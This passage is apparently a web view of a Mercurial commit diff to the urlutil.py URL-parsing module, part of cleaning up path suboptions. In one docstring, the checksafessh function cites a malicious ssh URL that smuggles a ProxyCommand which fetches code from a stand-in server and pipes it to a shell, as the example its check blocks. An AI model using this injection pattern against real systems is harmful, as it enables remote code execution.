##// END OF EJS Templates
cleanup: turn `pathsuboption` deprecation warning into an error...
marmoute -
r52031:5c9c4127 default
parent child Browse files
Show More
@@ -1,973 +1,971 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from .. import (
12 from .. import (
13 encoding,
13 encoding,
14 error,
14 error,
15 pycompat,
15 pycompat,
16 urllibcompat,
16 urllibcompat,
17 util,
18 )
17 )
19
18
20 from . import (
19 from . import (
21 stringutil,
20 stringutil,
22 )
21 )
23
22
24 from ..revlogutils import (
23 from ..revlogutils import (
25 constants as revlog_constants,
24 constants as revlog_constants,
26 )
25 )
27
26
28
27
29 if pycompat.TYPE_CHECKING:
28 if pycompat.TYPE_CHECKING:
30 from typing import (
29 from typing import (
31 Union,
30 Union,
32 )
31 )
33
32
34 urlreq = urllibcompat.urlreq
33 urlreq = urllibcompat.urlreq
35
34
36
35
37 def getport(port):
36 def getport(port):
38 # type: (Union[bytes, int]) -> int
37 # type: (Union[bytes, int]) -> int
39 """Return the port for a given network service.
38 """Return the port for a given network service.
40
39
41 If port is an integer, it's returned as is. If it's a string, it's
40 If port is an integer, it's returned as is. If it's a string, it's
42 looked up using socket.getservbyname(). If there's no matching
41 looked up using socket.getservbyname(). If there's no matching
43 service, error.Abort is raised.
42 service, error.Abort is raised.
44 """
43 """
45 try:
44 try:
46 return int(port)
45 return int(port)
47 except ValueError:
46 except ValueError:
48 pass
47 pass
49
48
50 try:
49 try:
51 return socket.getservbyname(pycompat.sysstr(port))
50 return socket.getservbyname(pycompat.sysstr(port))
52 except socket.error:
51 except socket.error:
53 raise error.Abort(
52 raise error.Abort(
54 _(b"no port number associated with service '%s'") % port
53 _(b"no port number associated with service '%s'") % port
55 )
54 )
56
55
57
56
58 class url:
57 class url:
59 r"""Reliable URL parser.
58 r"""Reliable URL parser.
60
59
61 This parses URLs and provides attributes for the following
60 This parses URLs and provides attributes for the following
62 components:
61 components:
63
62
64 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
63 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
65
64
66 Missing components are set to None. The only exception is
65 Missing components are set to None. The only exception is
67 fragment, which is set to '' if present but empty.
66 fragment, which is set to '' if present but empty.
68
67
69 If parsefragment is False, fragment is included in query. If
68 If parsefragment is False, fragment is included in query. If
70 parsequery is False, query is included in path. If both are
69 parsequery is False, query is included in path. If both are
71 False, both fragment and query are included in path.
70 False, both fragment and query are included in path.
72
71
73 See http://www.ietf.org/rfc/rfc2396.txt for more information.
72 See http://www.ietf.org/rfc/rfc2396.txt for more information.
74
73
75 Note that for backward compatibility reasons, bundle URLs do not
74 Note that for backward compatibility reasons, bundle URLs do not
76 take host names. That means 'bundle://../' has a path of '../'.
75 take host names. That means 'bundle://../' has a path of '../'.
77
76
78 Examples:
77 Examples:
79
78
80 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
79 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
81 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
82 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
83 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
84 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
85 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
86 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
87 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
88 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
89 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
90 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
91 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
92 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
93 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
94 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
95 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
96 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
97 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
98 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
99 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
100
99
101 Authentication credentials:
100 Authentication credentials:
102
101
103 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
104 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
105 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
106 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
107
106
108 Query strings and fragments:
107 Query strings and fragments:
109
108
110 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
111 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
112 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
113 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
114
113
115 Empty path:
114 Empty path:
116
115
117 >>> url(b'')
116 >>> url(b'')
118 <url path: ''>
117 <url path: ''>
119 >>> url(b'#a')
118 >>> url(b'#a')
120 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
121 >>> url(b'http://host/')
120 >>> url(b'http://host/')
122 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
123 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
124 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
125
124
126 Only scheme:
125 Only scheme:
127
126
128 >>> url(b'http:')
127 >>> url(b'http:')
129 <url scheme: 'http'>
128 <url scheme: 'http'>
130 """
129 """
131
130
132 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
133 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
134 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
135
134
136 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
137 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
138 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
139 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
140 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
141 self._localpath = True
140 self._localpath = True
142 self._hostport = b''
141 self._hostport = b''
143 self._origpath = path
142 self._origpath = path
144
143
145 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
146 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
147
146
148 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
149 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
150 self.path = path
149 self.path = path
151 return
150 return
152
151
153 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
154 # normal URLS
153 # normal URLS
155 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
156 self.scheme = b'bundle'
155 self.scheme = b'bundle'
157 path = path[7:]
156 path = path[7:]
158 if path.startswith(b'//'):
157 if path.startswith(b'//'):
159 path = path[2:]
158 path = path[2:]
160 self.path = path
159 self.path = path
161 return
160 return
162
161
163 if self._matchscheme(path):
162 if self._matchscheme(path):
164 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
165 if parts[0]:
164 if parts[0]:
166 self.scheme, path = parts
165 self.scheme, path = parts
167 self._localpath = False
166 self._localpath = False
168
167
169 if not path:
168 if not path:
170 path = None
169 path = None
171 if self._localpath:
170 if self._localpath:
172 self.path = b''
171 self.path = b''
173 return
172 return
174 else:
173 else:
175 if self._localpath:
174 if self._localpath:
176 self.path = path
175 self.path = path
177 return
176 return
178
177
179 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
180 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
181 if not path:
180 if not path:
182 path = None
181 path = None
183 if not self.query:
182 if not self.query:
184 self.query = None
183 self.query = None
185
184
186 # // is required to specify a host/authority
185 # // is required to specify a host/authority
187 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
188 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
189 if len(parts) > 1:
188 if len(parts) > 1:
190 self.host, path = parts
189 self.host, path = parts
191 else:
190 else:
192 self.host = parts[0]
191 self.host = parts[0]
193 path = None
192 path = None
194 if not self.host:
193 if not self.host:
195 self.host = None
194 self.host = None
196 # path of file:///d is /d
195 # path of file:///d is /d
197 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
198 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
199 path = b'/' + path
198 path = b'/' + path
200
199
201 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
202 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
203 if b':' in self.user:
202 if b':' in self.user:
204 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
205 if not self.host:
204 if not self.host:
206 self.host = None
205 self.host = None
207
206
208 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
209 if (
208 if (
210 self.host
209 self.host
211 and b':' in self.host
210 and b':' in self.host
212 and not (
211 and not (
213 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
214 )
213 )
215 ):
214 ):
216 self._hostport = self.host
215 self._hostport = self.host
217 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
218 if not self.host:
217 if not self.host:
219 self.host = None
218 self.host = None
220
219
221 if (
220 if (
222 self.host
221 self.host
223 and self.scheme == b'file'
222 and self.scheme == b'file'
224 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
225 ):
224 ):
226 raise error.Abort(
225 raise error.Abort(
227 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
228 )
227 )
229
228
230 self.path = path
229 self.path = path
231
230
232 # leave the query string escaped
231 # leave the query string escaped
233 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
232 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
234 v = getattr(self, a)
233 v = getattr(self, a)
235 if v is not None:
234 if v is not None:
236 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
237
236
238 def copy(self):
237 def copy(self):
239 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
240 u.path = self.path
239 u.path = self.path
241 u.scheme = self.scheme
240 u.scheme = self.scheme
242 u.user = self.user
241 u.user = self.user
243 u.passwd = self.passwd
242 u.passwd = self.passwd
244 u.host = self.host
243 u.host = self.host
245 u.port = self.port
244 u.port = self.port
246 u.query = self.query
245 u.query = self.query
247 u.fragment = self.fragment
246 u.fragment = self.fragment
248 u._localpath = self._localpath
247 u._localpath = self._localpath
249 u._hostport = self._hostport
248 u._hostport = self._hostport
250 u._origpath = self._origpath
249 u._origpath = self._origpath
251 return u
250 return u
252
251
253 @encoding.strmethod
252 @encoding.strmethod
254 def __repr__(self):
253 def __repr__(self):
255 attrs = []
254 attrs = []
256 for a in (
255 for a in (
257 'scheme',
256 'scheme',
258 'user',
257 'user',
259 'passwd',
258 'passwd',
260 'host',
259 'host',
261 'port',
260 'port',
262 'path',
261 'path',
263 'query',
262 'query',
264 'fragment',
263 'fragment',
265 ):
264 ):
266 v = getattr(self, a)
265 v = getattr(self, a)
267 if v is not None:
266 if v is not None:
268 line = b'%s: %r'
267 line = b'%s: %r'
269 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
268 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
270 attrs.append(line)
269 attrs.append(line)
271 return b'<url %s>' % b', '.join(attrs)
270 return b'<url %s>' % b', '.join(attrs)
272
271
273 def __bytes__(self):
272 def __bytes__(self):
274 r"""Join the URL's components back into a URL string.
273 r"""Join the URL's components back into a URL string.
275
274
276 Examples:
275 Examples:
277
276
278 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
277 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
278 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 'http://user:pw@host:80/?foo=bar&baz=42'
280 'http://user:pw@host:80/?foo=bar&baz=42'
282 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
281 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 'http://user:pw@host:80/?foo=bar%3dbaz'
282 'http://user:pw@host:80/?foo=bar%3dbaz'
284 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
283 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 'ssh://user:pw@[::1]:2200//home/joe#'
284 'ssh://user:pw@[::1]:2200//home/joe#'
286 >>> bytes(url(b'http://localhost:80//'))
285 >>> bytes(url(b'http://localhost:80//'))
287 'http://localhost:80//'
286 'http://localhost:80//'
288 >>> bytes(url(b'http://localhost:80/'))
287 >>> bytes(url(b'http://localhost:80/'))
289 'http://localhost:80/'
288 'http://localhost:80/'
290 >>> bytes(url(b'http://localhost:80'))
289 >>> bytes(url(b'http://localhost:80'))
291 'http://localhost:80/'
290 'http://localhost:80/'
292 >>> bytes(url(b'bundle:foo'))
291 >>> bytes(url(b'bundle:foo'))
293 'bundle:foo'
292 'bundle:foo'
294 >>> bytes(url(b'bundle://../foo'))
293 >>> bytes(url(b'bundle://../foo'))
295 'bundle:../foo'
294 'bundle:../foo'
296 >>> bytes(url(b'path'))
295 >>> bytes(url(b'path'))
297 'path'
296 'path'
298 >>> bytes(url(b'file:///tmp/foo/bar'))
297 >>> bytes(url(b'file:///tmp/foo/bar'))
299 'file:///tmp/foo/bar'
298 'file:///tmp/foo/bar'
300 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
299 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 'file:///c:/tmp/foo/bar'
300 'file:///c:/tmp/foo/bar'
302 >>> print(url(br'bundle:foo\bar'))
301 >>> print(url(br'bundle:foo\bar'))
303 bundle:foo\bar
302 bundle:foo\bar
304 >>> print(url(br'file:///D:\data\hg'))
303 >>> print(url(br'file:///D:\data\hg'))
305 file:///D:\data\hg
304 file:///D:\data\hg
306 """
305 """
307 if self._localpath:
306 if self._localpath:
308 s = self.path
307 s = self.path
309 if self.scheme == b'bundle':
308 if self.scheme == b'bundle':
310 s = b'bundle:' + s
309 s = b'bundle:' + s
311 if self.fragment:
310 if self.fragment:
312 s += b'#' + self.fragment
311 s += b'#' + self.fragment
313 return s
312 return s
314
313
315 s = self.scheme + b':'
314 s = self.scheme + b':'
316 if self.user or self.passwd or self.host:
315 if self.user or self.passwd or self.host:
317 s += b'//'
316 s += b'//'
318 elif self.scheme and (
317 elif self.scheme and (
319 not self.path
318 not self.path
320 or self.path.startswith(b'/')
319 or self.path.startswith(b'/')
321 or hasdriveletter(self.path)
320 or hasdriveletter(self.path)
322 ):
321 ):
323 s += b'//'
322 s += b'//'
324 if hasdriveletter(self.path):
323 if hasdriveletter(self.path):
325 s += b'/'
324 s += b'/'
326 if self.user:
325 if self.user:
327 s += urlreq.quote(self.user, safe=self._safechars)
326 s += urlreq.quote(self.user, safe=self._safechars)
328 if self.passwd:
327 if self.passwd:
329 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
328 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 if self.user or self.passwd:
329 if self.user or self.passwd:
331 s += b'@'
330 s += b'@'
332 if self.host:
331 if self.host:
333 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
332 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 s += urlreq.quote(self.host)
333 s += urlreq.quote(self.host)
335 else:
334 else:
336 s += self.host
335 s += self.host
337 if self.port:
336 if self.port:
338 s += b':' + urlreq.quote(self.port)
337 s += b':' + urlreq.quote(self.port)
339 if self.host:
338 if self.host:
340 s += b'/'
339 s += b'/'
341 if self.path:
340 if self.path:
342 # TODO: similar to the query string, we should not unescape the
341 # TODO: similar to the query string, we should not unescape the
343 # path when we store it, the path might contain '%2f' = '/',
342 # path when we store it, the path might contain '%2f' = '/',
344 # which we should *not* escape.
343 # which we should *not* escape.
345 s += urlreq.quote(self.path, safe=self._safepchars)
344 s += urlreq.quote(self.path, safe=self._safepchars)
346 if self.query:
345 if self.query:
347 # we store the query in escaped form.
346 # we store the query in escaped form.
348 s += b'?' + self.query
347 s += b'?' + self.query
349 if self.fragment is not None:
348 if self.fragment is not None:
350 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
349 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 return s
350 return s
352
351
353 __str__ = encoding.strmethod(__bytes__)
352 __str__ = encoding.strmethod(__bytes__)
354
353
355 def authinfo(self):
354 def authinfo(self):
356 user, passwd = self.user, self.passwd
355 user, passwd = self.user, self.passwd
357 try:
356 try:
358 self.user, self.passwd = None, None
357 self.user, self.passwd = None, None
359 s = bytes(self)
358 s = bytes(self)
360 finally:
359 finally:
361 self.user, self.passwd = user, passwd
360 self.user, self.passwd = user, passwd
362 if not self.user:
361 if not self.user:
363 return (s, None)
362 return (s, None)
364 # authinfo[1] is passed to urllib2 password manager, and its
363 # authinfo[1] is passed to urllib2 password manager, and its
365 # URIs must not contain credentials. The host is passed in the
364 # URIs must not contain credentials. The host is passed in the
366 # URIs list because Python < 2.4.3 uses only that to search for
365 # URIs list because Python < 2.4.3 uses only that to search for
367 # a password.
366 # a password.
368 return (s, (None, (s, self.host), self.user, self.passwd or b''))
367 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369
368
370 def isabs(self):
369 def isabs(self):
371 if self.scheme and self.scheme != b'file':
370 if self.scheme and self.scheme != b'file':
372 return True # remote URL
371 return True # remote URL
373 if hasdriveletter(self.path):
372 if hasdriveletter(self.path):
374 return True # absolute for our purposes - can't be joined()
373 return True # absolute for our purposes - can't be joined()
375 if self.path.startswith(br'\\'):
374 if self.path.startswith(br'\\'):
376 return True # Windows UNC path
375 return True # Windows UNC path
377 if self.path.startswith(b'/'):
376 if self.path.startswith(b'/'):
378 return True # POSIX-style
377 return True # POSIX-style
379 return False
378 return False
380
379
381 def localpath(self):
380 def localpath(self):
382 # type: () -> bytes
381 # type: () -> bytes
383 if self.scheme == b'file' or self.scheme == b'bundle':
382 if self.scheme == b'file' or self.scheme == b'bundle':
384 path = self.path or b'/'
383 path = self.path or b'/'
385 # For Windows, we need to promote hosts containing drive
384 # For Windows, we need to promote hosts containing drive
386 # letters to paths with drive letters.
385 # letters to paths with drive letters.
387 if hasdriveletter(self._hostport):
386 if hasdriveletter(self._hostport):
388 path = self._hostport + b'/' + self.path
387 path = self._hostport + b'/' + self.path
389 elif (
388 elif (
390 self.host is not None and self.path and not hasdriveletter(path)
389 self.host is not None and self.path and not hasdriveletter(path)
391 ):
390 ):
392 path = b'/' + path
391 path = b'/' + path
393 return path
392 return path
394 return self._origpath
393 return self._origpath
395
394
396 def islocal(self):
395 def islocal(self):
397 '''whether localpath will return something that posixfile can open'''
396 '''whether localpath will return something that posixfile can open'''
398 return (
397 return (
399 not self.scheme
398 not self.scheme
400 or self.scheme == b'file'
399 or self.scheme == b'file'
401 or self.scheme == b'bundle'
400 or self.scheme == b'bundle'
402 )
401 )
403
402
404
403
405 def hasscheme(path):
404 def hasscheme(path):
406 # type: (bytes) -> bool
405 # type: (bytes) -> bool
407 return bool(url(path).scheme) # cast to help pytype
406 return bool(url(path).scheme) # cast to help pytype
408
407
409
408
410 def hasdriveletter(path):
409 def hasdriveletter(path):
411 # type: (bytes) -> bool
410 # type: (bytes) -> bool
412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
411 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413
412
414
413
415 def urllocalpath(path):
414 def urllocalpath(path):
416 # type: (bytes) -> bytes
415 # type: (bytes) -> bytes
417 return url(path, parsequery=False, parsefragment=False).localpath()
416 return url(path, parsequery=False, parsefragment=False).localpath()
418
417
419
418
420 def checksafessh(path):
419 def checksafessh(path):
421 # type: (bytes) -> None
420 # type: (bytes) -> None
422 """check if a path / url is a potentially unsafe ssh exploit (SEC)
421 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423
422
424 This is a sanity check for ssh urls. ssh will parse the first item as
423 This is a sanity check for ssh urls. ssh will parse the first item as
425 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
424 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 Let's prevent these potentially exploited urls entirely and warn the
425 Let's prevent these potentially exploited urls entirely and warn the
427 user.
426 user.
428
427
429 Raises an error.Abort when the url is unsafe.
428 Raises an error.Abort when the url is unsafe.
430 """
429 """
431 path = urlreq.unquote(path)
430 path = urlreq.unquote(path)
432 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
431 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 raise error.Abort(
432 raise error.Abort(
434 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
433 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 )
434 )
436
435
437
436
438 def hidepassword(u):
437 def hidepassword(u):
439 # type: (bytes) -> bytes
438 # type: (bytes) -> bytes
440 '''hide user credential in a url string'''
439 '''hide user credential in a url string'''
441 u = url(u)
440 u = url(u)
442 if u.passwd:
441 if u.passwd:
443 u.passwd = b'***'
442 u.passwd = b'***'
444 return bytes(u)
443 return bytes(u)
445
444
446
445
447 def removeauth(u):
446 def removeauth(u):
448 # type: (bytes) -> bytes
447 # type: (bytes) -> bytes
449 '''remove all authentication information from a url string'''
448 '''remove all authentication information from a url string'''
450 u = url(u)
449 u = url(u)
451 u.user = u.passwd = None
450 u.user = u.passwd = None
452 return bytes(u)
451 return bytes(u)
453
452
454
453
455 def list_paths(ui, target_path=None):
454 def list_paths(ui, target_path=None):
456 """list all the (name, paths) in the passed ui"""
455 """list all the (name, paths) in the passed ui"""
457 result = []
456 result = []
458 if target_path is None:
457 if target_path is None:
459 for name, paths in sorted(ui.paths.items()):
458 for name, paths in sorted(ui.paths.items()):
460 for p in paths:
459 for p in paths:
461 result.append((name, p))
460 result.append((name, p))
462
461
463 else:
462 else:
464 for path in ui.paths.get(target_path, []):
463 for path in ui.paths.get(target_path, []):
465 result.append((target_path, path))
464 result.append((target_path, path))
466 return result
465 return result
467
466
468
467
469 def try_path(ui, url):
468 def try_path(ui, url):
470 """try to build a path from a url
469 """try to build a path from a url
471
470
472 Return None if no Path could built.
471 Return None if no Path could built.
473 """
472 """
474 try:
473 try:
475 # we pass the ui instance are warning might need to be issued
474 # we pass the ui instance are warning might need to be issued
476 return path(ui, None, rawloc=url)
475 return path(ui, None, rawloc=url)
477 except ValueError:
476 except ValueError:
478 return None
477 return None
479
478
480
479
481 def get_push_paths(repo, ui, dests):
480 def get_push_paths(repo, ui, dests):
482 """yields all the `path` selected as push destination by `dests`"""
481 """yields all the `path` selected as push destination by `dests`"""
483 if not dests:
482 if not dests:
484 if b'default-push' in ui.paths:
483 if b'default-push' in ui.paths:
485 for p in ui.paths[b'default-push']:
484 for p in ui.paths[b'default-push']:
486 yield p.get_push_variant()
485 yield p.get_push_variant()
487 elif b'default' in ui.paths:
486 elif b'default' in ui.paths:
488 for p in ui.paths[b'default']:
487 for p in ui.paths[b'default']:
489 yield p.get_push_variant()
488 yield p.get_push_variant()
490 else:
489 else:
491 raise error.ConfigError(
490 raise error.ConfigError(
492 _(b'default repository not configured!'),
491 _(b'default repository not configured!'),
493 hint=_(b"see 'hg help config.paths'"),
492 hint=_(b"see 'hg help config.paths'"),
494 )
493 )
495 else:
494 else:
496 for dest in dests:
495 for dest in dests:
497 if dest in ui.paths:
496 if dest in ui.paths:
498 for p in ui.paths[dest]:
497 for p in ui.paths[dest]:
499 yield p.get_push_variant()
498 yield p.get_push_variant()
500 else:
499 else:
501 path = try_path(ui, dest)
500 path = try_path(ui, dest)
502 if path is None:
501 if path is None:
503 msg = _(b'repository %s does not exist')
502 msg = _(b'repository %s does not exist')
504 msg %= dest
503 msg %= dest
505 raise error.RepoError(msg)
504 raise error.RepoError(msg)
506 yield path.get_push_variant()
505 yield path.get_push_variant()
507
506
508
507
509 def get_pull_paths(repo, ui, sources):
508 def get_pull_paths(repo, ui, sources):
510 """yields all the `(path, branch)` selected as pull source by `sources`"""
509 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 if not sources:
510 if not sources:
512 sources = [b'default']
511 sources = [b'default']
513 for source in sources:
512 for source in sources:
514 if source in ui.paths:
513 if source in ui.paths:
515 for p in ui.paths[source]:
514 for p in ui.paths[source]:
516 yield p
515 yield p
517 else:
516 else:
518 p = path(ui, None, source, validate_path=False)
517 p = path(ui, None, source, validate_path=False)
519 yield p
518 yield p
520
519
521
520
522 def get_unique_push_path(action, repo, ui, dest=None):
521 def get_unique_push_path(action, repo, ui, dest=None):
523 """return a unique `path` or abort if multiple are found
522 """return a unique `path` or abort if multiple are found
524
523
525 This is useful for command and action that does not support multiple
524 This is useful for command and action that does not support multiple
526 destination (yet).
525 destination (yet).
527
526
528 The `action` parameter will be used for the error message.
527 The `action` parameter will be used for the error message.
529 """
528 """
530 if dest is None:
529 if dest is None:
531 dests = []
530 dests = []
532 else:
531 else:
533 dests = [dest]
532 dests = [dest]
534 dests = list(get_push_paths(repo, ui, dests))
533 dests = list(get_push_paths(repo, ui, dests))
535 if len(dests) != 1:
534 if len(dests) != 1:
536 if dest is None:
535 if dest is None:
537 msg = _(
536 msg = _(
538 b"default path points to %d urls while %s only supports one"
537 b"default path points to %d urls while %s only supports one"
539 )
538 )
540 msg %= (len(dests), action)
539 msg %= (len(dests), action)
541 else:
540 else:
542 msg = _(b"path points to %d urls while %s only supports one: %s")
541 msg = _(b"path points to %d urls while %s only supports one: %s")
543 msg %= (len(dests), action, dest)
542 msg %= (len(dests), action, dest)
544 raise error.Abort(msg)
543 raise error.Abort(msg)
545 return dests[0]
544 return dests[0]
546
545
547
546
548 def get_unique_pull_path_obj(action, ui, source=None):
547 def get_unique_pull_path_obj(action, ui, source=None):
549 """return a unique `(path, branch)` or abort if multiple are found
548 """return a unique `(path, branch)` or abort if multiple are found
550
549
551 This is useful for command and action that does not support multiple
550 This is useful for command and action that does not support multiple
552 destination (yet).
551 destination (yet).
553
552
554 The `action` parameter will be used for the error message.
553 The `action` parameter will be used for the error message.
555
554
556 note: Ideally, this function would be called `get_unique_pull_path` to
555 note: Ideally, this function would be called `get_unique_pull_path` to
557 mirror the `get_unique_push_path`, but the name was already taken.
556 mirror the `get_unique_push_path`, but the name was already taken.
558 """
557 """
559 sources = []
558 sources = []
560 if source is not None:
559 if source is not None:
561 sources.append(source)
560 sources.append(source)
562
561
563 pull_paths = list(get_pull_paths(None, ui, sources=sources))
562 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 path_count = len(pull_paths)
563 path_count = len(pull_paths)
565 if path_count != 1:
564 if path_count != 1:
566 if source is None:
565 if source is None:
567 msg = _(
566 msg = _(
568 b"default path points to %d urls while %s only supports one"
567 b"default path points to %d urls while %s only supports one"
569 )
568 )
570 msg %= (path_count, action)
569 msg %= (path_count, action)
571 else:
570 else:
572 msg = _(b"path points to %d urls while %s only supports one: %s")
571 msg = _(b"path points to %d urls while %s only supports one: %s")
573 msg %= (path_count, action, source)
572 msg %= (path_count, action, source)
574 raise error.Abort(msg)
